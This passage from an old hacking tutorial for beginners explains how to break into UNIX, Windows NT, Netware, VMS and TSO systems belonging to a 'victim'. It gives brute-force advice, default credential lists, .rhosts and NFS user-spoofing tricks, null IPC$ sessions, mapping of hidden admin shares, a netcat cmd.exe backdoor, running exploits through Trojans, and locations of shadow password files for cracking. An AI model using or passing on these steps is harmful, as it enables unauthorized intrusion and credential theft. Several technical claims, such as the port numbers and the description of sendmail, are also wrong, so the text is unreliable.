•	Follow steps one, two, and three in the 'Getting Started - Your First Night as a Newbie' section.  Find out what ports are open, and what daemons are bound to these ports.  Get a list of usernames through the website (if one exists), through finger, etc.  Then, spend a bit of time brute forcing (explained more thoroughly later) each one of these.  Then try the list of commonly used UNIX logins/passwords in Appendix A.  Oftentimes this wont' work - but its easy so give it a shot.
•	Next look for vulnerabilities.  Open up your CGI Vulnerability Scanner (or go to infinityzone.cjb.net and use theirs) and scan for vulnerabilities.  If the scanner finds one, you'll want to learn how to exploit it.  The 'System Exploit' section of this text lists a few.  Some scanners explain how to exploit them (or even do it for you), but you'll usually have to look it up.  Go to www.rootshell.com, www.securityfocus.com, www.anticode.com, www.bugtraq.com, or any other exploit site and look up the vulnerability you found for specific ways to get in.  If you can't find any CGI vulnerabilities, look for service vulnerabilities.  Specifically, find out what programs (and version numbers) are running on ports 21, 25 and 80.  Certain versions of wu-ftp (an FTP server) are vulnerable, as are versions of sendmail (an HTTP daemon).  Search all the exploit archives for every daemon on every port of your target.  You'll usually find at least one vulnerable service on a network.
•	Get that exploit to run.  Most are in C code, so you'll have to compile it on a UNIX machine - either your own or another shell account.  One issue here is that all flavors of UNIX interpret different C scripts differently, as do different shells.  Compiling code sometimes involves a bit of tweaking and playing with cc and gcc.  For that reason, you'll be much better at UNIX hacking if you learn C.  Using exploits will be explained in more detail later.  
•	
•	TFTP.  The Trivial File Transfer Protocol is similar to its cousin, but much less secure.  TFTP listens on port 69, so if you see that open, you may be in luck.  TFTP accounts are commonly unpassworded, also.  Not to mention that they don’t use encryption during authentication, so sniffing segments on these boxes will often provide results.  Another huge insecurity with TFTP is that most installations don’t restrict access with a virtual root directory.  Meaning even logged in as ‘guest’ you can venture all the way to /, including /etc.  TFTP is necessary to autoconfigure Cisco routers, so if you see a Cisco machine on the network, scan its subnets for open ports 69. 
•	
•	Rhosts.  In a nutshell, if any user has a .rhosts file in his home directory, he can execute commands from another computer.  The /etc/hosts file is the .rhosts equivalent for the entire system, but usually blocked from most users.  If your victim has a .rhosts file in the /home/john home directory that allows connections from your UNIX box, you can use the ‘rlogin’ command to log in (like telnet) without a password.  The .rhosts file and /etc/hosts file describes what systems can utilize the R services, and what users.  The plus sign (+) is a wildcard, meaning any host, or any user.  So pretend you crack the guest account of a Sun box.  You want root, but cant run any programs to exploit the machine.  But you notice user jsmith can.  And jsmith left his directory unprotected (-rwxrwxrwx on all his files).  What do you do?  This:
•	
•	Echo + + > .rhosts
•	
•	This will put ‘+ +’ into his .rhosts file, allowing you to rlogin into his account.  We’ll go into a bit more depth of the R services and how to abuse them in the ‘Elite Hacker Tactics’ section.  >:-) 
•	
•	NIS and RPC.  RPC (Remote Procedure Call) was developed by Sun Microsystems to allow running applications to seamlessly interact with apps on another UNIX box.  And NIS is used to provide information about these apps.  Portmapper is what RPC’s use to get this information from NIS, so if you that port listening, use the command ‘rpcinfo’ to query that port and get valuable information from it.  Type ‘man rpcinfo’ for more information on portmapper, RPC, and NIS.
•	
•	NFS.  Network File System - the protocol used to connect UNIX machines.  Having to telnet between UNIX boxes in a network can be a pain in the ass at times.  NFS (which listens on port 2049) is a way to mount remote filesystems to the local machine.  Lets say you work primarily on the machine UNIX1.  Occasionally, though, you need to access files on UNIX2, but don't want to login to it all the time.  So the sysadmin mounts part of UNIX2's filesystem to your own.  The directory /acct/dir1/ is mounted to your /mnt/u2 directory.  So if you issue a 'cd /mnt/u2' you're actually on UNIX2 - but can't go any further up the hierarchy of it that /acct/dir1.  The way this works is certain directories are exported, meaning made available to mounting.  To look for exported directories on a remote UNIX server, type this command:
•	
•	showmount  -e www.victim.com
•	
•	If there are any exports, you'll see something like:
•	
•	export list for www.victim.com:
•	/exprt		(everyone)
•	/var		(everyone)
•	/exprt/agregor	agregor
•	
•	As you can see, /exprt and /var are exported out to anyone.  To mount either, type:
•	
•	mount www.victim.com /var /mnt/dir
•	
•	where /dir is where you want to mount /var to on your own machine.  If you cd to /mnt/var, you're now on your target.  Here's a more complex break-in.  Lets say when  you mount /exprt, you can't get into /agregor from there (access denied) because only the user agregor and root is allowed access.  Lets say you (from your own UNIX box - Linux or something) fingered agregor@www.victim.com and got:
•	
•	agregor	/exprt/agregor	Tue, Jan 1, 2000
•	
•	Here we see that his home directory  is  /exprt/agregor.  So we mount that directory (but still can't get in).  We aren't allowed access... but agregor is!  And technically, since we mounted that directory, its considered part of your local machine.  You can use the adduser or useradd command to add a user on your own machine called agregor and - pow! - you're in.  One last note on NFS - only root can use showmount and mount, so you really should make a Linux partition on your hard drive.  Redhat 5.2 and SuSE (the latest version) only cost about $30.  
•	
•	The R Services.  UNIX utilities like rwho, rlogin, and rwho are used to run these commands or login to other machines - without using a password.  The syntax for these commands include a username (but default to the user you’re logged in as locally), and if that user on the target machine has an appropriate .rhosts file in his home directory, the command will execute.  
•	
•	To learn the most about UNIX, you must play around with it.  Get a shell account from hobbiton.org, shellyeah.org, or m-net.arbornet.org.  These accounts are pretty limited (some won’t let you use compilers, some won’t let you use FTP, etc).  For best results, install Redhat Linux on your system.  Appendix G will help you with that.
•	
•	Windows NT
•	Until recently, UNIX machines make up the vast majority of machines on the Internet.  Windows NT (New Technologies) has eaten up some of that percentile.  Now, somewhere between 10% and 20% of machines you'll find on the Net are NT boxes.  NT machines ship and are compatible with almost as many services as UNIX, with a few differences.  Generally, you won't find as many open ports on a Windows box because they don't use raw sockets like the various flavors of UNIX (a socket is a two-way connection between two computers, using any protocol).  NT Server ships with IIS - a HTTP and FTP service.  Finger servers can also be purchased for NT machines.  SMTP and POP3 servers come with Microsoft Exchange Server, which is pretty commonplace.  One port that will give your target away as a Windows box is an open port 139.  This is the port for NBT, or 'nbsession' according to some portscanners.  UNIX machines use strictly TCP/P for communications (making them ideal machines for the Internet), whereas NT uses Net BIOS (Net BIOS does not work over the Internet, so NT Servers must utilize Net BIOS over TCP/IP in order to do so), or what they call NetBEUI (Net BIOS Extended User Interface - which also uses Server Message Block, or SMB).  To connect to an NT machine, you must use Microsoft Client.  Using MS Client to connect to a Net BIOS ports on a Windows machine is similar in nature to telnetting to port 23 on a UNIX machine.  If you have Windows 95 / 98 / NT, you have Microsoft Client.  It might not have it installed though.  To check, go to Control Panel, then Network.  You should then see a list of protocols you have installed on your machine.  In order to use MS Client, you need NetBEUI, Client for Microsoft Networks, and (of course) TCP/IP.  If you are missing any of these, click on 'Add' and add the appropriate client or protocol (you'll probably need Windows disks).  Also, some NetBEUI stuff only works if you have the latest version of Dial-Up Networking.  Go to microsoft.com for the update.  To use MS Client, open a DOS box.  The command you will be using is 'net.'
•	Type 'net' to see a list of Net commands.  Some of these cannot be issued from a DOS windows.  The two you as a hacker should be concerned with are 'net view' and 'net use'.  If ever you come across a machine with an open port 139, there is a chance that the machine has open shares on it.  A Windows share is a directory somewhere on the server (be it Windows 95, 98, or NT) that is set up to be accessed by others in the network.  Sometimes they are password protected, sometimes not.  Once connected to a share, you can use regular DOS commands (cd, mkdir, edit, etc.) to move about and manipulate files within it.  
•	Shares come in two varieties: share level and user level.  Share level (usually only found on Win9X peer-to-peer networks) shares are protected only by a single password.  Anyone knowing that password can access that folder.  User level shares are more UNIX-ish, in that your access to them depends on who you are logged in as.  Unfortunately, you can only log into an NT machine if you have NT yourself (either NT Workstation or NT Server).  When NT admins setup user level (NTFS) shares, they determine what users and groups (similar to UNIX groups) can access them.  To look for shares on an NT box, at a DOS prompt type:
•	
•	net view \\ip_address
•	
•	If you get a message back saying that you need to log in before using net commands, you either don't have the latest DUN, or you aren't logging into your own machine (at the Windows Login screen).  If the machine has shares (and most NT servers do), you'll see something like:
•	
•	Share	Description
•	-------	----------------
•	mktg	Marketing folder
•	lpt1	Printer 1
•	acct	Accounting folder
•	
•	Here there are two shared folders, and a shared printer.  If you have Windows 95 or 98, you'll only be able to connect to these shares if they're share level (not user level).  To do so, type:
•	
•	net use x: \\ip_address\sharename
•	
•	Where x is the drive letter you want to map the share to.  So if you wanted to connect to map the mktg folder to your i: drive, you'd type:
•	
•	net use i: \\123.54.87.9\mktg
•	
•	If you get the message 'The command completed successfully,' your drive i: is now the mktg folder on your target machine.  If you're prompted for a password, the share is either share level and password protected, or user level and you won't be able to map to it.  You also may just plain be denied access.  Once you decide to get an NT partition on your hard drive, you'll be able to log in.  So, if you knew that the Administrator (superuser - equivalent to root on a UNIX system) password was 'letmein', you'd type:
•	
•	net use i: \\123.54.87.9\acct letmein /user:Administrator
•	
•	to map i: to the user level share acct from your NT machine.  You can also map a drive GUI, by right-clicking on My Computer, and then on 'Map Network Drive.'  Another way to connect to NT machines is with the nbtstat command.  To get very useful info on a particular NT box, at a command prompt, type:
•	
•	nbtstat -A ip_address 
•	
•	If the machine is NT and has port 135 or 139 open, you'll see a table full of valuable info.  It might look something like:
•	
•	Net BIOS Remote Machine Name Table
•	Name			Type	Status
•	---------------------------------------------------------
•	srv3	<00>		Unique	Registered
•	r7labs	<00>		Group	Registered
•	srv3	<20>		Unique	Registered
•	srv3	<03>		Unique	Registered
•	ghost	<03>  		Unique	Registered
•	
•	The hex code in anglebrackets ( <these things> ) tells us what each entry in the table means.  A code of 00 means NetBEUI name.  The first entry, srv3 <00> tells us that this is a name, and the Unique tells us that its the name of that computer.  You now have the NetBEUI (Windows name) name of that box.  The second entry, r7labs <00> is also a name, and the Group tells us that this is the domain name.  This is the Windows domain name - not necessarily the Internet domain name.  The srv2 <20> code means that this machine has file sharing enabled - which means you'll probably find shares with a 'net view.'  Appendix C of this text has explanations for each hex code you'll find with an nbtstat.  
•	
•	Another way to connect to an NT machine is to add it to your lmhosts file (in your windows directory).  Open a file called lmhosts (with no extension), and edit like so:
•	
•	ip_address netbeui_name #pre
•	
•	where ip_address is the IP address of your target, and netbeui_name is the name you got from the nbtstat.  For an example, look at your lmhosts.sam file (but don't use this file, only use lmhosts with no file extension).  Next you want to load the file into your NetBEUI memory cache, with this command:
•	
•	nbtstat -R
•	
•	Now, go to your Start button, then Find, then computer, and type in the NetBEUI name of the computer.  An icon representing that computer will appear - right click on it and then click 'explore' to connect to the machine.  This is the GUI way to connect to NT machines.  Again, if you're not using NT, you won't be able to log in.
•	Once connected, you'll want to see what kind of permissions you have.  Create and erase a file.  Make and delete a directory.  You could have only read permissions, or you may have read and write (read files and modify them).  Standard DOS commands work, and any mapped network drives will also appear in Windows Explorer as if it were on your local machine (similar to UNIX NFS).
•	One thing that puts NT apart from UNIX is its Client/Server-ness.  If you telnet to a UNIX box and run a program, it will be run on that machine, using its CPU and RAM.  If you map a network drive to an NT server and run a command, it will be launched and ran on your computer, using your resources.  So if you upload an exploit, map a drive, and double-click on the sploit with Explorer, the exploit will run on your computer.  It is possible to get programs to run on that machine instead of your own, which will be explained in the 'Unbelievable...A Hacker!' section.
•	
•	Hacking NT
•	Most of the time shares will be user level, or at least password protected user-level.  And if you aren't logged in, net view's will report no open shares (why would the system tell you what folders are shared to someone who hasn't logged in?).  So you have a few options.  You could get the password hashes and crack them with L0phtCrack (explained later).  Or, you could use Brute Force: write a batch file that connects to the share, then spits passwords from a wordlist (available all over).  If you aren't skilled at writing batch files, get yourself a good DOS book, and at least find out about commands and DOS environment variables.  You could make yourself quite a powerful brute force share-cracker batch file in under 20 lines.  I personally use VB for brute force engine making.  Also, if you want to quickly search an entire (or even multiple) subnet(s) for open shares, use a share scanner such as Legion.  But most likely you wont be able to see (let alone map to) anything at first.  So here are some steps to take in breaking into an NT server.
•	Follow steps one, two, and three in the 'Getting Started - You're First Night as a Newbie' section.  Once done, you should have a handful of usernames, as well as know what ports are open on what machines, and what services are running on those ports.  If port 21 is open, its probably IIS.  If you can get in anonymously (username 'ftp' with any password), try using this command:
•	
•	cd /c
•	
•	Once in a while a misconfiguration will bring you to the systems actual root directory (where as with normal anonymous access you can't go very high in the hierarchical filesystem).  This usually doesn't work, but is worth a shot.  Use one of the fingerprinting methods explained earlier to determine the webserver (if port 80 is open).  Both IIS and FrontPage are plagued with vulnerabilities.  How to exploit these is explained in the 'System Exploits' section.  
•	Any share that's name ends in a dollar sign is hidden, and won't show up in a net view or if you use the GUI approach to viewing shares.  To connect to them, you only need to refer to them by name.  Common hidden shares are:
•	
•	c$	The entire C: drive
•	d$	The entire D: drive (if its another hard disk or partition)
•	admin$	The \%systemroot% (\winnt) directory
•	ipc$	Inter-Process Communications - not really a share (explained shortly)
•	
•	By default, all drives are shared but hidden, as is the winnt directory.  So map your drive e: to your target's c: drive, you'd simply type:
•	
•	net use e: \\38.57.128.2\c$ password /user:username
•	
•	Or you could do it the GUI way (with nbtstat or Map Network Drive).
•	Another way to hack in would be to put a Trojan on the server.  Netcat is a program you can use to bind programs to ports.  One way to allow yourself a back door to a system is to bind cmd.exe (similar to Win9X's command.com) to a port.  NCX and NCX99 (available at technotronic.com) do this for you.  Once you bind cmd.exe to port 80 or 99, you can telnet in and get a DOS prompt (how very UNIX like!)
•	Your ultimate goal is probably to get the password file.  Unfortunately, NT stores the password hashes in the registry.  Sometimes you'll find a backup copy in \winnt\system32\repair\sam._, but if not you'll have to resort to other methods of getting them.  Once you do, you'll use L0pht Crack to crack them.
•	A few programs will also aid you in hacking into NT networks.  Ogre is a very useful NT scanning utility.  It will scan ports, net view, and nbtstat every machine in an NT network.  NAT is also a powerful Brute Force engine, and can log into NT networks even from an Win9X machine (though to log in yourself, you'll still need NT).  For more advanced NT vulnerability exploits, read the 'System Exploits' section.  For more NT commands that you'll need, type 'net' at a command prompt.  For more info on each net command, type:
•	
•	net command /?
•	
•	NAT is a great tool for BF-ing NT machines too.  Take your list of valid usernames and put them into a file for NAT to use, and user a small password file (the one that comes with NAT is good - add a few password guesses of your own too).  Also, the latest version of Legion (2.1) will not only scan for shares, but will attempt to brute force any it finds, if the user so desire.  Both programs are made by the Rhino9 team, NT hacking experts.
•	
•	Here's a newer vulnerability in NT.  Remember the hidden ipc$ share?  As I said before, its not really a share, per say: its not a shared folder.  Its a channel used by NT Domain Controllers (PDC's and BDC's) to exchange network information two each other.  And a hacker could theoretically use this 'channel' to break in.  Remember how groups work in NT.  Like UNIX, certain files and folders are accessible only two certain users or groups.  One built-in group of NT is called 'Everyone', which encompasses anyone logged into the domain.  It's possible for someone to connect to the IPC share, and masquerade as an NT Domain Controller, and by doing so, becoming a member of the 'Everyone' group.  Without even logging in.  Consider the following.
•	
•	C:\hacker_toolz>net view \\202.53.198.1
•	System error 5 has occurred
•	Access Denied
•	
•	NT Server 202.53.198.1 just told us to go to hell since we haven't logged in.  Heh - watch this:
•	
•	C:\hacker_toolz>net use \\202.53.198.1\ipc$ "" /user:""
•	
•	We just connected to the IPC share with a username of null (meaning none: /user:""), and a password of null ("").  Also, notice that we didn't specify a drive letter to map IPC to, since its not a standard share.  What we've done is connect to 202.53.198.1's IPC share in  the exact same way another Domain Controller wishing to exchange data would.  And that makes us part of 'Everyone.'  It thinks we're another server in its domain.  Now watch:
•	
•	C:\hacker_toolz>net view \\202.53.198.1
•	Shared resources at 202.53.198.1:
•	Share		Description
•	----------------------------------------
•	folder1		Mngr's Folder
•	usenet		NNTP
•	printer		Printer
•	
•	Now that we're part of 'Everyone', the server just spilt its guts to us, when seconds ago it wouldn't.  This only works if the server you're net view-ing is configured to allow the Everyone group to browse it.  Can we map network drives to these shares and explore?  There's a good chance of that.  You can also use the user2sid and sid2user tools (available at www.hackingexposed.com) to glean usernames (which makes brute force much easier).  This is a well known vulnerability that is easily solved, but you'll find this tactic works on lots of NT Servers.
•	
•	One last note on NT hacking.  The WINS (Windows Internet Naming Service) protocol is responsible for translating NetBEUI names (Net BIOS uses computer names instead of addresses) to IP addresses.  To look at the WINS configuration of any computer, use the nbtstat command.  Furthermore, the file lmhosts on any windows machine will act as a mini WINS table if WINS itself is disabled (TCP/IP properties under Control Panel > Network).  
•	
•	Novell Netware
•	UNIX machines still claim most machines on the Net.  NT is catching up, and between the POSIX and Win32 platforms, you wont find much else on the Internet.  Once in a great while, however, you just might run into a completely different operating system.  Novell Netware used to be the biggest Client/Server Network Operating System around, and rivals NT to this day.  So just in case you run into one of these foreign systems, here is a little info on Novell Netware.
•	NT’s core protocol (integrated with Net BIOS) is SMB.  Netware, on the other hand, uses NCP (Netware Core Protocol) as its main protocol for serving files.  Netware has been around for quite some time - the first version was command-line and sat on top of DOS.  Now GUI clients exist for it, and version 5.X has been released.  Like Windows NT, computing is not centralized (like UNIX), and resources are distributed among the network.  One computer may be a print server, on might be a mail server, another a file server.  The thing that makes Netware unique is what's called the NDS database, or Novell Directory Services.  The NDS is a little comparable to an NT network's PDC's registry.  It is a hierarchical representation of the entire network.  Everything on the network (users, servers, printers, logon scripts, etc.) is represented by an appropriate object in the NDS database.  At the root of the NDS tree is the object 'root,' similarly to a root directory.  Stemming from the root object, are one or more 'organizational' objects, comparable to subdirectories.  Inside these objects can be more organizational objects, or what are known as 'leaf' objects, comparable to files.  These leaf objects are what make up the conceptual network.  Leaves include user objects, representing users of the network, server objects, representing servers, and so on.  The organizational units exist for no other reason to conceptually organize the network.  The whole idea of an NDS is sometimes hard to grasp at first, due to its being so abstract, but greatly eases administration.  
•	When you refer to a specific file on a hard disk, you refer to its path.  When you refer to an NDS object's location, you refer to its context.  Paths start with root at the left, such as:
•	
•	C:\Winnt\programs\file.ini
•	
•	Contexts, on the other, hand, start with the root at the right, such as:
•	
•	.user22.market.UAS
•	
•	where user22 is the object we are referring to.  We don't need to specify root because its assumed that root is always after the last organizational unit listed.  The context above specifies the user22 object, which is in the organizational unit 'market,' which resides in the organization 'UAS.'  When referring to objects absolutely (full context), you must start the context with a periods (.), and separate each entry with a period also.  Now if your current working context was .market.UAS (same concept as a current working directory), you could refer to user22 relatively (just as in UNIX or DOS filesystems) with simply:
•	
•	user22
•	
•	with no period.  
•	Now, Netware networks are usually GUI interfaces.  If you ever connect to a Novell server over the Net, you will have to navigate it commandline, though, unless you want to download GUI clients from www.novell.com.  Mapping network drives to Netware volumes (similar to a Windows share) as you would to an NT machine, with the MAP command.  You would change your context and navigate the NDS with the CX command.  In order to do this, you will need to get your hands on a Netware client.  You can get a free command-line client at www.novell.com.  Client32 is a good one.
•	Now each user in a Novell network is represented by a user leaf object on the NDS tree.  So to log in as user22 who's object is in the marketing.UAS container, you have to log in as:
•	
•	.user22.marketing.UAS
•	
•	Mapping drives to Netware volumes (a volume is just like an NT share) is done in one of two ways.  You can either specify the server name you are connecting to physically, such as:
•	
•	map x: servername/volumename
•	
•	or by its NDS object, such as:
•	
•	map x: server_nds_object:volumename
•	
•	When trying to break into a Novell server on the net, with say, an IP address of 212.14.6.2, you would issue this command (with a Novell client in a DOS box):
•	
•	map x: 212.14.6.2/datafiles
•	
•	where datafiles is the volume you want to connect to.  It is beyond the scope of this text to get into great detail about all the commands and innerworkings of Netware, so feel free to jump into a Netware book.  Really.  
•	
•	
•	Hacking Netware
•	Breaking into Netware servers is just like hacking into anything else: you need to know as much as  you can about the OS.  Plenty of exploits exist for Netware - www.hackers.com has a lot.  So, if you want to crack a Novell system, complete steps one, two, and three of the 'Getting Started - Your First Night as a Newbie' section.  Try to Brute Force the usernames you find.  Also, there are a few public volumes attached to each Netware server by default.
•	
•	Logon	This is accessible to everyone - logged on or not.
•	Public	This is accessible to anyone logged on, no matter who.
•	Sys	This is the system volume - phun to explore.
•	
•	Here are some commonly used login names and passwords for Netware:
•	
•	Username	Password
•	Admin		operator, supervisor, sysadm
•	Backup	
•	Guest		visitor, user
•	Netware
•	Novell		NetWare
•	Public
•	Remote
•	Server
•	Staff
•	Supervisor	admin, operator, sysadm, supervis, manager
•	System1
•	Tape		backup
•	Test		testuser
•	User
•	Visitor		guest
•	
•	Also, brute force programs and password crackers exist for Netware by the truckload, as well as exploits and other handy Novell hacking utilities.  If you're serious about hacking a Novell system, familiarize yourself with them.
•	
•	Miscellaneous OS's
•	Most of the systems you’ll find will be some sort of UNIX.  A lot will also be NT.  And a few might be Netware.  And that’s about all you’ll find while exploring the Internet.  But if you find yourself trying to break into a machine via its dialup modem, you might be connecting to an older mainframe.  Twice in my life, though, I have telnetted to a machine to find the unfamiliar logon screen of a mainframe as well.  Also, you might (which, by the way, happened to me) target a network for some reason - to find out that it’s a network of Macs (ugh)!  I’m not going to spend much time on OS’s other than NT and UNIX, but here’s a little info on some others you might run into.  For more info, hit a search engine or get a book.
•	
•	MacOS
•	I hate Macs.  Any OS without a command-line isn’t worth my time, and in my humble opinion, should be forced upon AOL users.  Hackers generally like the OS’s that they hack into - which is why they stay up until four in the morning trying to break in.  But you might have a more specific motive to breach the security of a particular network, and if it’s a Mac network, you’ll have to learn a little bit about it.  Just don’t admit to it.  
•	Macs connect using the proprietary protocol Appletalk.  Surprisingly, this protocol is routable.  Each subnet (a term that will confuse most any Mac user) is called a Zone.  Appletalk can be run over IP, for the purpose of talking TCP/IP networks.  If the Appletalk network in question is connected to the Net, at least the proxy server has to have this dual protocol capability.  If you ever find a Mac machine on the Net with a valid IP address, it is running Appletalk over TCP/IP.  
•	The protocol used to share resources is called AppleShare.  AppleShare is (at its application level) similar to NetBEUI.  Folders are flagged as ‘shared,’ and thereby made available to the rest of the network.  Some are password protected, and require a username and password.  Mac sysadmins tend not to be to security-savvy, though, and Guest access is usually possible.  To access these folders, your computer will need to speak Appletalk, and you’ll need a client to connect to AppleShare servers.  TSSTalk (available at www.thursby.com) is a free program that will configure both requirements for you.  All you have to do with it is enter the IP address of the Mac, and it will show up on your Network Neighborhood.  Double-click the computer icon and you’re off to hacking.
•	
•	VMS
•	VMS (Virtual Memory System) was a popular mainframe OS a few years back.  It runs on VAX machines, and rivaled UNIX in it popularity for hackers to try to crack.  Finding a VAX on the Net is an extremely rare find, but finding one on the end of a dialup link isn’t so.  One thing that is stereotypical about VMS is its potential for security.  If the VAX sysadmin knows what he’s doing (at rarely do complete idiots run OS’s as complex as VMS), the system can be very secure, including extensive logging, encryption schemes, restrictive privilege rules, and even hacker traps.
•	Many VAX machines are interconnected via MultiNet, making the VAX network a bit more client/server.  The prompt of a VMS system looks something like:
•	
•	$DISK3:[user21]
•	
•	Where DISK3 means you’re currently on the third disk (most VAX’s have multiple disks, just like  you can have a C: hard disk and a D: hard disk) and you are in the directory ‘user21’, which is probably a home directory.  Once at a prompt, you can issue a variety of commands.  ‘Telnet’ and ‘ftp’ both work, and function like their counterparts in the UNIX world.  You can use ‘dir’ or ‘directory’ to get a listing of your present working directory.  If you do, you might see something like:
•	
•	Text4	[users, user21]
•	App2 	[users, admin]
•	
•	Where text4 is the name of the file, and the brackets represent permissions.  User21 owns the file text4, and is in the ‘Users’ group.  With the command ‘cdup’ you can jump to the root directory of your disk, at which point your prompt would look like:
•	
•	$DISK3:[000000]
•	
•	And if you wanted to view a file, you’d use the ‘type’ command, just like in DOS.  ‘Rm’ deletes files, like in UNIX.  ‘Rmdir’ removes an entire directory, and ‘mkdir’ creates them.  You must have the appropriate permissions in your PWD to do this, of course.  If ever you try to read, copy, move, run, or delete a file, you might get a message like:
•	
•	<%RMS-E-PRV, insufficient privilege or file protection violation
•	
•	Meaning you don’t have the privileges to access the file in question.  
•	VAX machines on the Net will have very few ports open, so your hacking options will be limited.  And if you dial into the mainframe, that’s (obviously) your only point-of-entry.  Brute force is the only for-sure way to get that initial account and further hack a VAX.  Here is a list of commonly used usernames and passwords for VMS:
•	
•	Username	Password
•	SYSTEM	OPERATOR, MANAGER, SYSTEM, SYSLIB
•	OPERATOR	OPERATOR
•	SYSTEST	UETP, SYSTEST, TEST
•	SYSMAINT	SYSMAINT, SERVICE, DIGITAL
•	FIELD		FIELD, SERVICE
•	GUEST		GUEST, (unpassworded)
•	DEMO		DEMO, (unpassworded)
•	TEST		TEST
•	DECNET	DECNET
•	
•	TSO
•	I include IBM’s TSO only because I’ve seen a couple on the Net, and dialed into a few.  You’ll know a TSO machine by either its login prompt:
•	
•	IKJ56700A ENTER USERID:
•	
•	Or by the way it responds to a bad login:
•	
•	IKJ56943I USERID (whateveryoutyped) NOT AUTHORIZED TO USE TSO
•	
•	And if you do login, you’ll either be presented with a menu system or a command prompt.  Old colleges sometimes connect TSO machines to their network to hold legacy databases, such as books and the like.  If you’re presented with a menu system, issue a variety of obscure (and long) commands to break out into a prompt.  If you enter an invalid command, you’ll usually get an error message that says something about ‘an unrecognized transaction.’  Here are a list of commonly used TSO login names and passwords.
•	
•	Username	Password
•	Admin		adm
•	Guest
•	Init
•	Maint
•	Systest		test
•	Test1		test
•	Tso
•	
•	There are many more mainframe operating systems out there.  Most of them, though, you’ll never see, especially on the Net, since computing has become more decentralized and client/server over the years.  Many hackers won’t even bother with these dinosaurs.  If you ever run into one, though, and want to explore, get  yourself an older hacking text, like The Neophytes Guide to Hacking (where I got some of the stuph above), or something similar.  Hackers.com has a few older texts like this.  I’ll personally stick to UNIX and NT.  
•	
•	"Unbelievable - a Hacker!”
•	The object of your hack will most likely be to obtain root, ie: total control over the network.  With a rootshell (any shell with root privileges, such as the superuser account) you can read, write, and execute everything on the network (or at least that particular computer).  To obtain root, you'll probably have to break in with some other account first.  From there you can run a local exploit, download the password file, or whatever.  If its an NT machine that your hacking, you probably want either the Administrator's account, or at least have a Trojan or RAT installed on it to give you total control.  In this section I'll go into the various means of getting root (or equivalent).
•	
•	Brute Force
•	Brute Force is the simplest hacking technique, yet oftentimes provides results.  When all else fails, you might be left with no other option than a brute force attack.  This means hurling usernames and passwords at  system until it cracks.  Use the list of commonly used UNIX combination supplemented with this text.  Spend time trying to crack individual email addresses.  Honestly, you haven’t made a full-hearted brute force attempt until you've spent at least two or three hours doing nothing but trying different combinations.  Since UNIX login prompts wont tell you if you've used a valid login name or not, narrow it down!  Here is a quick list on how to obtain usernames:
•	
•	If port 59 (finger) is open, you will be able to obtain lots of usernames.  Telnet in!
•	Telnet to port 25 (SMTP) and use the VRFY command to verify the existence of usernames.  Type HELP for more commands.
•	Any email addresses on the network's webiste will be valid usernames.
•	Look at the /etc/passwd file of any UNIX machine (including one of your own).  There are tons of default usernames that get used all the time.
•	NT: using a null IPC session and the SID tools (explained in the ‘Elite Hacker Tactics’ section) you’ll be able to get every username for a PC or domain.  
•	
•	When you first target a system, before going into finding exploits and the like, spend a few minutes BF-ing some common accounts.  Wouldn't you be pissed if you spend hours compiling an exploit to find that the root password was simply 'root'?
•	Also, you could write a program (or shell script if you have a UNIX box yourself) to spit usernames and passwords from a dictionary wordlist fill at the system (available all around the Net, usually in supplement to password crackers).  
•	If you want to become eleet eventually, you'll need to learn at least a little about at least a few programming languages.  The easiest (yet still effective) language to learn, especially for newbies, is Visual Basic.  I once wrote a VB prog that used NetCat, and repeatedly telnetted to my target and spat usernames (from a list that I compiled that I knew to be valid usernames) and passwords (from a huge dictionary file), and redirected all output to my screen and a log file.  I'm no programming expert, but with an hour of coding and another of debugging, all I had to do was sit back and watch as my little proggie automated a brute force attack with decent speed.  Already made BF progs exist too.  Unsecure is a decent one for FTP and Telnet login prompts.  NAT is great for NT.  Just remember - brute force will always work, eventually.
•	
•	Local Xploits
•	A local sploit (exploit) is a program that exploits some security bug inherent in the operating system, and will greatly increase your access levels, oftentimes to root.   A local exploit (as the name implies) is something you'll have to run on the system you're hacking.  If its UNIX, you can telnet in and run it.  If its NT, you'll have to use one of the following methods to run the exploit (remember that running a program on a remote NT machine from a mapped network drive will launch it onto your computer).
•	Run it with a Trojan such as Netbus or Back Orifice.
•	Put the exploit in the cgi-bin directory if its a webserver, and request it with your browser.
•	Use the scheduling (AT) command to run it - Admins only.
•	Use NCX or NCX99 to telnet in and run it.
•	Put it in a batch file and have some other user run it.

There are many exploits out there, for many different NOS's, daemons, programs, and modules.  One of the most common of these is the Buffer Overflow (also known as a Stack Overflow).  This is a technique which when ran, the OS's buffer (a container of memory set aside by the OS for data it's working with) if filled with garbage.  When the buffer is "filled," the last string on the stack can be executed, to do such things as initiate a root shell.  To use any local exploit, of course, you need to have an account that you can log into FTP with and upload the exploit from your computer to the server you want to run it on.  Or if you only have telnet access, you can use vi (or some other text editor) and rewrite the exploit.  Use cc or gcc to compile it if its not already (most UNIX exploits are not compiled, nor are most NT exploits).  You then need to log in via telnet and run it, or launch it on the remote NT machine as explained above.  Exploits are OS and version specific, and it's sometimes hard to find one for a specific one (they are usually available all over the Internet).  See the 'System Exploits' section for a list of more common vulnerabilities.  
If you're on a UNIX system with a non-root account, you have access to hundreds of programs.  Chances are, at least one of these are vulnerable.  Look up exploits for that flavor of UNIX, and you'll most likely find at least one.  To find out if a certain program exists on that machine, type one of these at a command prompt:

which program-name
whereis program-name

You'll be told where the program resides, if it exists.  To find a program or file on an NT machine that you have a drive mapped to, type:

dir /s file-name

while on the network drive.  
If you can't find a vulnerability, you'll might want to try your hand at cracking the password file.  

The Password File
Some hackers try to get this file before even using exploits, though getting it may involve using them anyways.  In the /etc directory (UNIX) is a file called passwd, which holds every password for every user, along with some other information.  Unfortunately for you, the passwords are encrypted.  This means you'll have to download the password file and crack it on your own computer.  You'll use a password cracker such as John the Ripper for this.  Another security feature system administrators will use to keep hackers out is password shadowing.  If shadowing is done (and oftentimes is), all the encrypted passwords will be replaced with *'s or x's.  These are not crackable.  The real password hashes (encrypted passwords) are most likely on a different file.  Here is a short list of where to find the real password file if /etc/passwd is shadowed.  

UNIX Version		Path
---------------------------------------------------------------------
AIX 3			/etc/security/passwd
BSD 4.3			/etc/master.passwd
ConvexOS 10		/etc/shadpw
ConvexOS 11		/etc/shadow
Digital UNIX		/etc/tcb/aa/user/
HP-UX			/.secure/etc/passwd
IRIX 5			/etc/shadow
Linux			/etc/shadow
SunOS 5		/etc/shadow
System V r4.0		/etc/shadow
UNICOS			/etc/udb

